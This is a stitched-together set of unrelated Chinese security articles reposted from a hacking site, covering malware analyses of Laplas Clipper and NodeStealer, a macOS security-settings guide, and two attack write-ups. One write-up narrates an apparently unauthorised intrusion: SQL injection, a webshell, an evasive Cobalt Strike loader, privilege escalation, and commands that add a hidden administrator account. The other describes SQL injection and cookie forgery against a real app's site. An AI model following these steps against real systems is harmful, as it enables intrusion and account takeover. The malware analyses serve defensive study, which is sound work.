計劃任務在受害者的機器上每分鐘週期性執行任務，持續監控受害者的剪貼板以查找加密貨幣錢包地址。當攻擊任務觸發後，它通過發送受害者的桌面名稱和用戶ID向攻擊者的Clipper bot服務器註冊受害者的機器。然後，木馬讀取受害機器的剪貼板內容，並執行正則表達式來匹配加密貨幣錢包地址。

圖6. 加密貨幣錢包地址的正則表達式

6.jpg

當識別出加密貨幣錢包地址後，木馬會將錢包地址從剪貼板發回給Clipper bot服務器。

圖7. 從剪貼板複製加密貨幣錢包地址

7.jpg

作為響應，木馬接收到一個與受害者相似的且被攻擊者控制的錢包地址，並覆蓋剪貼板中的原始加密貨幣錢包地址。在我們的分析過程中，惡意軟件將我們的虛擬以太坊錢包地址從剪貼板發送給Clipper bot服務器，然後收到了看起來與我們的原始錢包地址相似的被攻擊者控制的錢包地址。

圖8. 攻擊者生成的錢包地址

8.jpg

分析-2：源IP地址640?wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1提前劃重點此惡意郵件的來源IP地址被列入多達12個RBL黑名單。

通過對郵件頭字段的分析可知，該惡意郵件的來源IP地址是185.33.87.58。

圖9. 郵件頭部源IP字段展示

9.jpg

查詢覆蓋全球的91個RBL數據源，檢測結果如下。此IP地址被列入了多達12個RBL黑名單。

序列號被列為黑名單的RBL名稱1

Abusix Mail Intelligence Blacklist

2

BARRACUDA

3

Hostkarma Black

4

ivmSIP

5

ivmSIP24

6

RATS Spam

7

s5h.net

8

SORBS SPAM

9

TRUNCATE

10

UCEPROTECTL2

11

WPBL

12

ZapBL

03總結與攻擊溯源經思安麥賽安全實驗室的分析測試，我們認為此“下訂單”為主題的樣本郵件為高危郵件。總結來看，其含有的風險特徵包括：

經過靜態和動態分析，證明郵件附件為Laplas Clipper惡意軟件，用於盜取員工的加密貨幣；

此惡意郵件的來源IP地址被列入多達12個RBL黑名單。

此郵件的完整攻擊溯源圖如下所示：

圖10. 攻擊溯源圖

10.jpg

04防范建議攜帶木馬的惡意郵件是指郵件中包含木馬附件或鏈接。此類郵件可能會採用各種策略來迷惑用戶並促使他們打開附件或點擊鏈接。一旦用戶執行了這些操作，木馬病毒就會被釋放或下載到用戶的計算機上，從而導致系統被感染。木馬病毒可以允許攻擊者遠程控制受感染的計算機、竊取個人信息、損壞數據、記錄按鍵信息或啟動其他惡意活動。

要防範攜帶木馬的郵件，用戶應保持安全意識，不輕信可疑郵件，使用防病毒軟件進行掃描和檢測，並遵循如下一些安全實踐：

1. 保持警惕：對於來自陌生髮件人或不可信來源的郵件要保持警惕。如果郵件的主題、內容或附件引起您的懷疑，最好避免打開或下載附件；

2. 不隨意點擊鏈接：避免在郵件中隨意點擊鏈接，特別是來自不可信來源的鏈接。這些鏈接可能會引導您訪問惡意網站或下載木馬病毒；

3. 小心下載附件：慎重對待附件，尤其是來自未知或不可信的發件人的附件。不要輕易打開、執行或下載任何可疑的附件，因為它們可能包含木馬病毒；

4. 使用安全軟件：確保您的計算機上安裝了可靠的防病毒軟件和防火牆，並及時更新其病毒定義文件。這些工具可以幫助檢測和阻止潛在的木馬病毒；

5. 定期更新系統和程序：保持您的操作系統、電子郵件客戶端和其他應用程序的更新。這樣可以修補已知漏洞，減少被利用的風險；

6. 定期備份數據：定期備份您的重要數據，並將備份存儲在離線或安全的位置。這樣即使受到木馬病毒攻擊，您的數據也能得到恢復；

7. 培養安全意識：加強員工和自己的安全意識培訓，教育他們如何識別潛在的惡意郵件，並提醒他們不要隨意打開或執行可疑的附件；

8. 使用郵件安全防護設備：部署可靠且穩定的郵件安全網關、郵件安全沙箱等郵件安全防護設備；

9. 定期檢查安全防護設備：確保郵件安全網關、郵件安全沙箱等郵件安全防護設備的策略配置正確且生效，並確保設備的防護庫已升級到最新版本；

10. 鼓勵員工報告可疑郵件：如果收到可疑的病毒郵件，員工應及時將其報告給您的組織或相關機構，以幫助企業採取適當的行動保護其他員工；

HireHackking

我们找到一个带有有漏洞的QP后台框架的后台

图片

这个框架有很多的漏洞，比如用户遍历，我们如果输入一个存在的用户，密码错误时，就会提示用户或密码错误，如果我们输入一个不存在的用户，就会提示用户不存在

除此之外，网站还会存在SQL注入漏洞，我们只需要抓一个提交账号密码的POST包

图片

粘贴好一个txt文档然后丢进sqlmap，

图片

是mssql，我们可以开启xp_cmdshell，这里我们打算写入webshell，所以先os-shell判断出路径（超级慢）

图片

然后利用xp_cmdshell写入webshell

图片成功上线

然后我打算上线cs进行下一步操作，尝试了web传递，但是被杀软拦住了

图片

很烦，没办法，只能尝试免杀上线，这里我用的免杀方法是分离免杀

图片

生成payload，然后写一个shellloader并且base64编译一下

我把shellcode放到了vps上

图片

把shellloader上传到目标

图片

一，二，三上线！

图片

没错，低权用户，多次尝试提权都不成功，最后还是sweetpotato拿下了

图片


拿到了我最爱的system

添加用户

net user admin$ admin@123 /add

添加到管理员组

net localgroup administrators test /add

直接3389连接

图片

拿到远程桌面本来打算fscan扫一下的，但是发现内网的ip和平常不一样，扫了一下发现出现很多主机，于是判断这是一个vps，故渗透到此为止。



转载于原文链接： https://mp.weixin.qq.com/s/ch3zcIlUPpZ8tjCJttwarQ


HireHackking

在處理macOS 相關項目時，您的開發和質量保證(QA) 團隊必須考慮許多細微差別以交付安全的應用程序。例如，您需要確保您的應用程序適用於所有可能的macOS 安全配置。您必須了解這些功能在特定版本的macOS 中如何工作、管理員如何配置它們，以及如何通過各種macOS 安全配置確保解決方案的穩定性能。

在本文中，我們概述了八個關鍵的macOS 安全配置，展示瞭如何使用它們來保護macOS 設備，並解釋了開發安全的macOS 應用程序時應考慮的事項。

本文對於從事macOS 開發項目、希望更深入地了解macOS 安全功能的IT 工程師非常有用。

1. 設置用戶帳戶在macOS 中，您可以選擇具有不同權限級別的四種類型的用戶帳戶。這些權限可以允許或阻止使用不同操作系統功能的能力。

在macOS 中，您可以創建以下帳戶類型：

行政。管理員擁有所有可能的訪問權限。他們可以更改任何macOS 配置、安裝和刪除應用程序、創建和管理用戶帳戶等。您在macOS 中創建的第一個用戶將屬於管理員類型。一台設備上可以有多個管理員。

標準。標準用戶可以管理自己的設置、使用主文件夾中的文件和文件夾以及下載系統更新但不能安裝它們。標準用戶無法安裝和刪除應用程序、更改其他用戶的配置文件或編輯系統首選項（例如網絡和安全首選項窗格中的首選項）。您可以將標準用戶帳戶升級為管理員帳戶。

僅供分享。僅共享帳戶的用戶唯一可以做的就是遠程訪問共享文件。他們無法登錄macOS 中的個人用戶配置文件。

客人。每個系統只有一個訪客用戶帳戶，無需密碼即可登錄。訪客無法更改任何設備或操作系統設置、管理用戶或遠程登錄。當訪客註銷時，他們創建的所有數據都將被刪除。

要管理用戶，請以管理員身份打開“系統偏好設置”中的“用戶和組”偏好設置窗格。您將看到用戶列表及其帳戶類型。如果您想更改用戶帳戶，請單擊鎖定圖標並輸入管理員密碼：

image.png

圖1. 訪問“用戶和組”首選項窗格

要將標準用戶升級為管理員，請選中“允許用戶管理此計算機”選項。您可以通過取消選中此框將管理員用戶降級為標準用戶。

image.png

圖2. 將標準用戶帳戶升級為管理員帳戶

單擊訪客用戶管理設備的訪客帳戶：

image.png

圖3. 在macOS 中管理來賓用戶帳戶

要創建新用戶，請單擊“用戶和組”首選項窗格左下角的加號按鈕，然後填寫帳戶創建表單：

image.png

圖4. 創建新用戶帳戶

如果要刪除用戶帳戶，請選擇要刪除的帳戶，單擊“用戶和組”窗格左下角的減號按鈕，然後確認要刪除該帳戶：

image.png

圖5. 刪除用戶帳戶

根據用戶角色和需求配置用戶帳戶通常有助於提高網絡和應用程序的安全性，但在以下情況下應特別注意帳戶創建：

該設備可供多人使用。如果許多人都可以訪問存儲敏感信息的系統，您需要保護它免受未經授權的訪問和內部威脅。實現此目的的一種方法是創建具有所需訪問級別的不同用戶帳戶。例如，您可以允許用戶讀取數據並查看系統設置，但只允許系統管理員更改數據和設置。

組織擁有該設備。當組織為員工提供工作計算機時，它可能會限制用戶訪問設備設置的權限並使用組策略控制此類設備。 macOS 允許管理員通過創建具有訪問限制的用戶帳戶來執行此操作。

該設備有多種使用場景。用戶可以使用同一台計算機執行多種任務：編寫代碼、創建內容、觀看電影等。為每項任務創建單獨的用戶帳戶可以幫助根據特定的使用場景自定義設備和應用程序設置。

多種類型的用戶帳戶意味著開發人員必須測試其應用程序如何與所有帳戶配合使用。 QA 團隊應驗證具有不同訪問權限的應用程序的安裝、執行和卸載。

假設您的應用程序中有一項功能僅適用於管理員權限。要檢查此功能的工作原理，您需要首先使用管理員配置文件進行測試。然後，以標準用戶身份運行相同的功能，並且不授予應用程序所需的權限。在這種情況下，該功能將不起作用，但應用程序應該可以繼續順利運行。此外，在這種情況下，應用程序可能會顯示特殊通知，例如feature 需要管理員訪問權限。

QA 工程師應將有關此類訪問請求的信息添加到應用程序日誌中，以幫助開發團隊定位可能出現的任何問題。

2.限制屏幕時間macOS 管理員可以通過配置屏幕時間限制來限制用戶對某些應用程序的訪問。此功能允許配置計算機停機時間、應用程序限制以及內容和隱私限制。開發應用程序時，請確保您了解此功能的工作原理以及您的應用程序在屏幕時間限制下應如何運行。

您可以通過登錄新帳戶並在“系統偏好設置”中打開“屏幕時間”窗格來限制用戶屏幕時間。然後，選擇選項並打開該功能。下一步是啟用“使用屏幕時間密碼”。時間密碼是忽略屏幕時間限製或更改屏幕時間設置所需的四位數代碼。

image.png

圖6. 為用戶啟用屏幕時間限制

通過屏幕時間限制，您還可以定義哪些應用程序在特定時間段內可用。進入“停機時間”選項卡可設置系統停機時間、開啟功能並設置計劃。

image.png

圖7. 配置系統停機時間

然後，轉到“應用程序限制”首選項窗格來設置應用程序的每日時間限制。選擇一個應用程序並設置限制。當超過限制時，應用程序將被阻止。

image.png

圖8. 配置應用程序停機時間

您可以在“始終允許”選項卡中選擇在停機期間不應阻止的應用程序。

image.png

圖9. 選擇不應阻止的應用程序

此功能還允許您阻止露骨和成人內容，並為帳戶設置隱私設置。您可以在“內容和隱私”首選項窗格中執行此操作。

image.png

圖10. 配置帳戶隱私設置

如果用戶嘗試訪問被阻止的網站，他們會看到一條警告消息。僅當他們知道屏幕時間密碼時，他們才能將此網站添加到批准列表中。

當您為應用程序配置屏幕時間限制並且這些限制處於活動狀態時，用戶將看到一個陰影圖標。

image.png

圖11. 具有活動屏幕時間限制的應用程序的圖標帶有陰影

當用戶嘗試啟動被阻止的應用程序時，他們會看到有關達到時間限制的警告。此時，他們可以再獲得一分鐘的時間來完成任務，或者輸入“屏幕時間”密碼來解鎖應用程序。

macOS 應用程序開發人員在開發產品時還必須注意屏幕時間阻塞。特別是，請務必檢查：

屏幕時間可以停止您的應用程序，而不會出現任何崩潰或致命錯誤

如果用戶請求再延長一分鐘或輸入屏幕時間密碼，則可以繼續使用您的應用程序

當應用程序在停機後解除阻止時，用戶可以使用該應用程序

應用程序的計劃進程和後台進程按屏幕時間限制按預期工作

屏幕時間的內容和隱私設置中有很多不同的限制。確保檢查它們不會使您的應用程序崩潰。例如，如果您正在開發可以阻止成人網站的網絡流量過濾器，請通過內容和隱私限制對此類網站的訪問，並檢查您的應用程序的工作方式。如果您正在開發視頻內容應用程序，請限制對成人電視節目的訪問，然後嘗試在應用程序內觀看它們。如果您正在開發視頻遊戲，您可以限制對在線遊戲的訪問並嘗試在線玩。

3.使用Gatekeeper檢查開發者IDGatekeeper 是一項保護macOS 免受不受信任應用程序侵害的功能。 macOS 用戶可以在系統偏好設置的安全和隱私部分中將其係統配置為允許或阻止來源未知和可疑的應用程序的執行。

圖12. 為應用程序配置可信源

用戶可以允許其設備僅使用從App Store 下載的應用程序。它是最值得信賴的下載來源，因為Apple 會在應用程序在App Store 上發布之前對其安全性進行審查。如果應用程序有任何問題，Apple 會將其從商店中刪除。

如果用戶嘗試打開不是從App Store 下載的應用程序，他們將看到以下消息：

image.png

圖13. 嘗試啟動從不受信任的來源下載的應用程序

還有一個選項允許從App Store 和指定的開發人員啟動應用程序。在這種情況下，macOS 將檢查應用程序的開發者ID 和公證，以確保其安全。當應用程序安裝時以及每次啟動時，Gatekeeper 都會檢查證書。

如果證書無效，則無法安裝應用程序。如果已安裝的應用程序是在證書有效時編譯的，則用戶可以執行該應用程序，即使證書已過期。如果開發者ID 配置文件已過期，則無法執行應用程序。

這就是為什麼每個應用程序都應該使用開發者ID 證書進行簽名。要獲得此類證書，您必須得到Apple 的認可並成為Apple 開發者計劃的一部分。開發者ID 證書自創建之日起五年內有效，因此請務必定期更新您的開發者ID。

任何應用程序還應該經過公證才能受到macOS 的信任。 Apple 公證服務是一個自動化流程，可掃描應用程序中是否存在惡意內容。如果沒有發現問題，它會允許macOS 運行該應用程序。為了檢查公證權限，Gatekeeper 連接到Apple 數據庫並蒐索該應用程序。

如果設備允許用戶運行從已識別的開發人員處下載的應用程序，Gatekeeper 仍會顯示一條警告消息，並附有註釋，說明Apple 檢查了該設備是否存在惡意軟件，但未檢測到任何惡意軟件，並且它將允許用戶打開該應用程序。

image.png

圖14. 啟動經過Apple 驗證的第三方應用程序

如果用戶嘗試運行不受信任的應用程序，他們將看到以下消息：

image.png

圖15. 啟動不受信任的應用程序

管理員可以通過在“安全和隱私”首選項窗格中設置相應的權限來允許用戶運行不受信任的應用程序。

image.png

圖16. 允許來自不受信任來源的應用程序

當您需要測試尚未受信任的應用程序並且您不想更改安全首選項時，Gatekeeper 可能會很麻煩。您可以使用以下命令忽略Gatekeeper 安全功能：

image.png

spctl 是一個可用於與Gatekeeper 通信的應用程序。它將Anywhere選項添加到安全和隱私設置中。這意味著您將能夠執行任何應用程序。

image.png

圖17. 允許安裝任何來源的應用程序

注意：我們強烈建議您不要禁用任何安全功能，除非您確定自己在做什麼！

您可以使用以下命令驗證應用程序的開發者ID 和公證：

image.png

如果您的應用程序由有效的開發者ID 簽名並具有有效的公證，則該命令將返回消息經過公證的開發者ID和開發者的信息。例如，讓我們檢查Google Chrome 應用程序：

image.png

圖18. 檢查Google Chrome 的開發者ID 和公證

如您所見，Google Chrome 受到macOS 的信任。

如果您感興趣的應用程序是由受信任的開發人員創建的，但未經公證，您將不會在源字段中看到“已公證”一詞：

image.png

圖19. 檢查未公證應用程序的開發者ID 和公證

如果應用程序甚至沒有開發人員ID 簽名，您將看到一條無可用簽名消息：

image.png

圖20. 在沒有可信開發人員簽名的情況下檢查應用程序

在交付任何macOS 產品之前，請使用上面列出的命令檢查應用程序的開發者ID 和公證。它將幫助您的最終用戶避免啟動應用程序時可能出現的問題。您還可以從任何互聯網資源下載應用程序的安裝程序並安裝它以模擬用戶體驗。

在下篇文章中，我們將介紹管理防火牆中的外部連接、指定應用程序的隱私訪問權限、配置鑰匙串訪問等問題。

HireHackking

Malware-r3d2.png

Unit 42的研究人員最近發現了一個以前未被報導的網絡釣魚活動，該活動傳播了一個信息竊取器，該信息竊取器可以完全接管攻擊目標Facebook的商業賬戶。 Facebook的商業賬戶受到了網絡釣魚誘餌的攻擊，這些誘餌提供了商業電子表格模板等工具。這是攻擊者以Facebook商業賬戶為目標的日益增長的趨勢的一部分，目的是廣告欺詐和其他目的，這一趨勢在2022年7月左右隨著Ducktail信息竊取者的發現而出現。

大約8個月後，即2023年3月，據報導，偽裝成ChatGPT Chrome擴展的新變種FakeGPT竊取了Facebook廣告帳戶。 Unit 42還報導了2023年4月以ChatGPT為主題的詐騙攻擊。 2023年5月，Meta發布了一份名為NodeStealer的新信息竊取惡意軟件報告，該報告描述了2022年7月編譯的惡意軟件和2023年1月發現的涉及NodeSteiler的惡意活動。 NodeStealer允許攻擊者竊取瀏覽器cookie來劫持平台上的賬戶，特別是針對商業賬戶。

在調查這一增長趨勢時，研究人員發現了一場始於2022年12月左右的活動，此前沒有被報導過。

在活動中傳播的信息竊取器與Meta分析的2022年7月用JavaScript編寫的NodeStealer變體有許多相似之處。然而，新的攻擊活動涉及兩個用Python編寫的變體，這些變體使用額外的功能進行了改進，攻擊者為這些變體配備了加密貨幣竊取功能、下載功能和完全接管Facebook商業賬戶的功能。

NodeStealer給個人和組織帶來了巨大的風險。除了對Facebook商業賬戶（主要是金融賬戶）的直接影響外，該惡意軟件還竊取瀏覽器的憑證，這些憑證可用於進一步的攻擊。

在本文中，我們將介紹一些未報導的針對Facebook商業賬戶的網絡釣魚活動，並將對惡意軟件進行深入分析。此外，我們將通過Cortex XDR（設置為僅檢測模式）的方式展示惡意軟件的操作過程。我們將為Facebook商業賬戶所有者如何保護他們的賬戶提供建議。雖然這一活動不再活躍，但有跡象表明，其背後的攻擊者可能會繼續使用和發展NodeStealer，或使用類似技術繼續針對Facebook商業賬戶。也有可能對以前受到該攻擊的組織進行持久性攻擊。

網絡釣魚活動從分析數據來看，信息竊取者的主要攻擊手段是網絡釣魚活動。網絡釣魚活動發生在2022年12月，提供了兩種信息竊取的變體，為了方便講解，我們在本文中將其稱為變體#1和變體#2。

此次活動的主題是為企業提供廣告材料。該攻擊者使用多個Facebook頁面和用戶發布信息，誘導受害者從已知的雲文件存儲提供商那裡下載鏈接。點擊後，一個.zip文件被下載到設備上，其中包含惡意的信息竊取程序可執行文件。

1.png

Facebook釣魚帖子誘導受害者下載受感染的.zip文件

變體#1分析該活動中信息竊取程序的第一個變體在內部命名為word.exe。它是用Nuitka編譯的，攻擊者為文件使用了一個唯一的產品名稱：Peguis。

2.png

word.exe的元數據

變體#1的進程樹非常“嘈雜”，這意味著它創建了多個進程並執行了許多被認為是異常活動的指示的操作，並且不是非常秘密，包括呈現給用戶的彈出窗口。

主要功能如上所述，NodeStealer的目標是Facebook的商業賬戶。變體#1有一些額外的功能，這使它能夠實現以下功能：

竊取Facebook商業賬戶信息；

下載其他惡意軟件；

通過GUI（圖形用戶界面）禁用Windows Defender；

MetaMask（加密貨幣錢包）盜竊；

竊取Facebook商業賬戶信息。

惡意軟件執行時的第一件事是檢查是否有Facebook商業帳戶登錄到受感染設備的默認瀏覽器。它通過連接到https://business.facebook.com/ads/ad_limits/並檢查標頭來實現這一點。

3.png

使用Facebook的Graph API竊取信息

如果確實有一個Facebook商業帳戶登錄，惡意軟件會連接到Graph API（Graph.Facebook.com），並通過標頭竊取用戶ID和訪問令牌。

根據Meta的說法，“Graph API是將數據輸入和輸出Facebook平台的主要方式。這是一個基於http的API，應用程序可以使用它以編程方式查詢數據、發布新故事、管理廣告、上傳照片以及執行各種各樣的其他任務。”

NodeSteiler使用Graph API來竊取目標的信息，包括：關注者數量、用戶驗證狀態、帳戶信用餘額、帳戶是否預付以及廣告信息。

惡意軟件還通過向https://www.facebook.com/ajax/bootloader-endpoint/?modules=AdsLWIDescribeCustomersContainer.react發送請求來獲取Facebook JavaScript模塊adslwidcribecustomerscontainer的內容。

該JavaScript模塊是Facebook廣告平台的一部分，用於描述和管理Facebook廣告中的自定義受眾。自定義受眾允許廣告商根據特定人群的人口統計、興趣、行為或其他標準瞄準特定人群，惡意軟件竊取這些信息並將其發送到其命令和控制服務器（C2）。

除了竊取有關Facebook商業賬戶的信息外，該惡意軟件還旨在竊取這些賬戶的憑證。為了做到這一點，它會在以下瀏覽器的cookie和本地數據庫中檢查Facebook用戶和密碼：Chrome、Edge、Cốc cốc、 Brave和Firefox。

4.png

從瀏覽器的數據庫中竊取密碼

5.png

NodeStealer執行的警報，如Cortex XDR所示

然後惡意軟件通過Telegram洩露輸出文件並刪除文件以消除其踪跡：

6.png

通過Telegram盜取

7.png

跟踪並刪除NodeStealer

下載其他惡意軟件變體#1被配置為從以下URL下載兩個.zip文件：

hxxps://tinyurl[.]com/batkyc，重定向到hxxp://adgowin66[.]site/ratkyc/4/bat.zip；

hxxps://tinyurl[.]com/ratkyc2，重定向到hxxp://adgowin66[.]site/ratkyc/4/ratkyc.zip；

Bat.zip包含禁用Windows Defender的ToggleDefender批處理腳本，Ratkyc.zip包含三個惡意軟件：

名為COM Surrogate.exe的BitRAT；

一種名為Antimalware Service Executable.exe的隱藏虛擬網絡計算（hVNC）RAT；

XWorm命名的Windows Tasks.exe主機進程；

為了下載.zip文件，惡意軟件實現了FodHelper UAC繞過。使用此方法，攻擊者試圖繞過用戶帳戶控制（UAC）並執行用於下載上述zip文件的PowerShell腳本。

8.png

FodHelper UAC繞過NodeStealer中的編碼命令

base64壓縮後的命令翻譯如下：

9.png

以下是當Cortex XDR設置為僅檢測模式時，變體#1的執行流程：

10.png

變體#1的執行流程，如Cortex XDR中所示，設置為僅檢測模式

下載並提取文件後，NodeStealer通過註冊表運行鍵為三個惡意軟件（BitRAT、hVNC RAT和XWorm）以及自己的二進製文件（word.exe）設置持久性。

通過GUI禁用Windows Defender除了ToggleDefender批處理腳本之外，變體#1還使用了另一種技術來禁用Windows Defender，這次使用的是GUI。這是一種非常嘈雜的方法，因為最終用戶將能夠看到Windows Defender GUI在設備上彈出，並且惡意軟件會將其禁用。

用於打開GUI和禁用WindowsDefender的命令如下圖所示。

11.png

用於禁用Windows Defender的命令

MetaMask竊取該惡意軟件還試圖通過竊取Chrome、Cốc Cốc和Brave瀏覽器的MetaMask證書來實現經濟利益最大化。

MetaMask是通過瀏覽器訪問以太坊錢包的擴展。通過竊取此應用程序的憑證，攻擊者可以從用戶的錢包中竊取加密貨幣。

正如它在竊取Facebook cookie和憑證時所做的那樣，該惡意軟件提取了用於存儲瀏覽器信息的本地數據庫。它在其中搜索擴展nkbihfbeogaeaeahlefnkodbefgpgknn，這是直接從擴展庫安裝MetaMask時的擴展。

然後，惡意軟件將數據複製到一個文件中，並使用Telegram將其洩露出去，就像它對Facebook憑證所做的那樣。

12.png

從Brave瀏覽器竊取MetaMask憑證

變體#2分析該活動中的第二個版本內部命名為MicrosofOffice.exe，並與第一個版本一樣使用Nuitka進行編譯。但與第一種變體不同，它不會對毫無戒心的用戶產生大量可見的活動。對於這種變體，攻擊者使用了產品名稱“Microsoft corporation”（最初是惡意軟件開發者拼錯的）。

13.png

變體#2的元數據偽裝成MicrosofOffice.exe

主要功能與第一個變體一樣，變體#2以Facebook商業賬戶信息和MetaMask錢包為目標，但它的功能更近一步：

試圖接管Facebook帳戶；

實現反分析功能；

竊取電子郵件；

接管Facebook帳戶；

變體#2試圖購買由合法越南網站（hotmailbox[.]me）提供的在線電子郵件服務。

它試圖使用一個嵌入式API密鑰來實現這一點，該密鑰保存特定服務的信用餘額：https://api.hotmailbox[.]me/mail/buy?apikey=mailcode=HOTMAILquantity=1。

14.png

向hotmailbox[.]me購買郵箱服務

15.png

惡意軟件使用的API密鑰的信用餘額

如果購買嘗試失敗，惡意軟件再次嘗試使用持有專用信用餘額的API密鑰從另一個越南網站（dongwanfb[.]net）購買郵箱服務：https://api.dongvanfb[.]net/user/buy?apikey=

16.png

向dongvanfb[.]net購買郵箱服務

如果購買嘗試成功，惡意軟件將保存新郵箱的電子郵件和密碼，這些郵箱將在活動的下一階段使用。

接下來，惡意軟件使用不需要驗證密碼的技術修改受害者Facebook商業帳戶的帳戶電子郵件地址，使用以下URL: https://www.facebook[.]com/add_contactpoint/dialog/submit/。

如果需要，惡意軟件會通過電子郵件向https://getcode.hotmailbox[.]me地址發送獲取Facebook驗證碼的請求。

17.png

用於向hotmailbox[.]me請求Facebook身份驗證碼的代碼

然後，惡意軟件檢查更新後的電子郵件，查看修改是否成功：

18.png

查看Facebook賬戶的更新郵件

如果成功，攻擊者現在已經通過將合法用戶的電子郵件地址替換為他們控制的郵箱來接管Facebook帳戶。

讀取電子郵件此外，該惡意軟件還具有解析電子郵件的功能，因此它可以讀取受害者的電子郵件。雖然我們沒有直接觀察到此類活動，但攻擊者添加此功能可能會干擾任何通知受害者配置更改的Facebook警報。

19.png

負責讀取電子郵件的功能

反分析和反虛擬機的功能在分析的變體#2的幾個樣本中，攻擊者添加了一個簡單的功能來檢查是否存在惡意軟件分析工具和虛擬機進程。如果其中一個正在系統上運行，惡意軟件就會自行終止。

20.png

反分析和反虛擬機的功能

NodeSteiner變體之間的差異如上所述，本文分析的NodeStealer的兩個變體之間有相似之處，但也有許多不同之處。下表比較了Meta報告的版本中NodeStealer的主要功能，以及不同變體中的主要功能：

21.png

NodeSteiner變體之間的差異比較

越南攻擊者有趣的是，Ducktail和NodeStealer之前都被Meta懷疑是來自越南的攻擊者。 NodeStealer惡意軟件與越南攻擊者之間的可疑聯繫可以用不同的方式解釋。

第一個可能表明這種聯繫的發現是，在本文分析的兩個變體的Python腳本中，我們遇到了許多越南語字符串。

22.png

在NodeStealer中找到的字符串“TongChiTieu”的翻譯

23.png

在NodeStealer中找到的字符串“ThoiGianCheck”的翻譯

懷疑與越南攻擊者有聯繫的第二個跡像是，攻擊者的目標是一個名為Cốc Cốc的瀏覽器，該瀏覽器在其“關於我們”頁面上自稱為“越南人民的網絡瀏覽器和搜索引擎”。

24.png

如上所述，在變體#2中發現了疑似越南人與NodeStealer有關的第三個跡像是，這種變體試圖從兩個不同的越南網站（Hotmailbox[.]me和Dongvanfb[.]net）購買在線郵箱服務。

總結在這篇文章中，我們發現了一個針對Facebook商業賬戶的NodeStealer惡意軟件活動。作為活動的一部分，我們發現了NodeStealer的兩個變體，變體#1和變體#2。對這兩種變體的分析揭示了惡意軟件的一些有趣功能，所有這些都可能增加攻擊者的潛在經濟利益。

這名被懷疑來自越南的攻擊者為新變種提供了加密貨幣竊取功能、下載功能和完全接管Facebook商業賬戶的功能。

緩解措施1.Facebook鼓勵企業賬戶所有者使用強密碼並啟用多因素身份驗證；

2.企業使用基於雲的威脅分析服務可以準確地識別出這些樣本是惡意的，具體包括：

2.1 通過URL過濾和DNS安全將與該組織關聯的URL和域識別為惡意；

2.2 具有高級威脅防護安全訂閱的下一代防火牆；

2.3 分析來自多個數據源(包括終端、網絡防火牆、Active Directory、身份和訪問管理解決方案以及雲工作負載)的用戶活動來檢測基於用戶和憑據的威脅。

HireHackking

0x00 前言

打开链接，发现是一个luo聊的app下载，夜神+burp抓包
图片获取到网址，通过js的文件特征去github查找源码文件图片根据代码发现他是一个kjcms，然后去官网下载源码来进行审计

0x01  sql注入

在cls_weixin::on_exe方法中，有许多执行sql语句的点图片这里注入需要满足$arr_msg[‘FromUserName’]可控，发现$arr_msg变量调用了当前类的get_msg()方法，跟进这个方法：static function get_msg() {    $arr_return = array();    $cont = file_get_contents("php://input");    //$cont = file_get_contents(KJ_DIR_ROOT . "/test.txt");    if(empty($cont)) return $arr_return;    $request = simplexml_load_string($cont , 'SimpleXmlElement' , LIBXML_NOCDATA);    $arr_return = fun_format::toarray($request);    return $arr_return;}发现$cont是通过post数据流获取的，传入的xml，继续跟进fun_format::toarraystatic function toarray($cont) {    if(gettype($cont) == "string") $cont = json_decode($cont);    $arr = (array)$cont;    foreach($arr as $item=>$key) {        if(gettype($key) == 'object' ) {            $key = self::toarray($key);        } else if(gettype($key) == 'array'){            $key = self::objtoarray($key);        }        $arr[$item] = $key;    }    return $arr;}这里不太重要，只是把xml的值转化为数组，所以在on_exe方法中的$arr_msg数组是可控的，即可以产生sql注入，经过本地测试发现，在on_exe方法中的数据查询很多都不存在表，这里发现一个点：图片跟进tab_weixin_message::get_one方法，参数$key是我们可控的，参数$site_id无关紧要图片全局查找cls_weixin::on_exe，在根目录weixin.php调用了这个方法<?phpinclude("inc.php");if(isset($_GET["echostr"])) {    echo $_GET["echostr"];exit;}cls_weixin::on_exe();现在就只需要构造payload了，这里要进入到执行tab_weixin_message::get_one方法，需要进过：
issert($arr_msg['ToUserName'])->issert($arr_msg['FromUserName'])->$arr_msg['MsgType'] == 'event'->$arr_msg['Event']) == 'click'
图片
这个点只能时间盲注，在我本地测试的时候可以通过updatexml(1,if(({}),0x7c,1),1)的方法来实现时间盲注变成布尔注入，目标环境问题无法实现，我就写了个脚本去跑账号密码。图片发现自己傻逼了，在目录文件中会生成数据库报错的文件，路径为：/data/error/db_query/2020_09_16.txt(年份_月份_日.txt)图片知道表结构和字段，直接去目标站注入，拿到后台密码hash，发现解密不了，看了下代码，有盐，是通过md5(pass+盐)进行加密的，这里盐也是在密码表中可以看到的，发现也解密不了。

0x02  伪造cookie

在登录处，发现cookie中的kj_s_id和kj_login_time是用来登录的，感觉可以伪造，这里我跟进下代码，看下kj_s_id是怎么生成的，验证登录处代码：
function act_login_verify() {        $arr_return = $this->on_login_verify();        return fun_format::json($arr_return);    }跟进on_login_verify方法function on_login_verify() {    $arr_return = array("code" => 0 , "id"=>0 , "msg" => cls_language::get("login_ok"));    $arr_fields = array(        "user_name" => fun_get::post("uname"),        "user_pwd"   => fun_get::post("pwd"),        "verifycode" => fun_get::get("verifycode"),        "autologin" => fun_get::get("autologin")    );    if(!fun_is::pwd($arr_fields["user_pwd"])) {        $arr_return["code"] = 7;        $arr_return["msg"]  =  fun_get::rule_pwd("tips");        return $arr_return;    }    $arr = cls_obj::get("cls_user")->on_login($arr_fields);    if( $arr["code"] != 0 ) {        $arr_return = $arr;        return $arr_return;    }    return $arr_return;}$arr_fields数组中获取登录的账号密码，继续跟进on_login方法图片$str_id是通过fun_get::safecode方法来的，现在只需要$perms[‘sid’]是怎么来的，跟进查看，并没发现到什么，这里，我直接打印出self::$perms[‘sid’]的值，发现是ip+时间戳+随机数的形式
echo self::$perms['sid'];exit;
图片发现这里数据存放在数据库的kj_sys_session表中的session_id字段，而session_user_id表示是否登录在，1表示登录在，0表示退出了登录。图片我们有注入点，这个session_id我们可以通过注入来获取到的，现在跟进fun_get::safecode方法，看cookie中的kj_s_id是怎么加密的图片跟进$str_key变量，看他是从哪里来的，跟进cls_config::MD5_KEY，发现他来自data\config\cfg.env.online.php中的MD5_KEY常量。而这个常量是安装的时候随意random的五位数图片最后获取的$str_return是由3部分组成$str_left，base64($msg_val)，$str_right，所以这个$str_key变量需要我们继续爆破，并且知道fun_get::safecode方法的$msg_val参数是ip+时间戳+随机数的形式，下面就进行漏洞复现。

0x03 漏洞复现

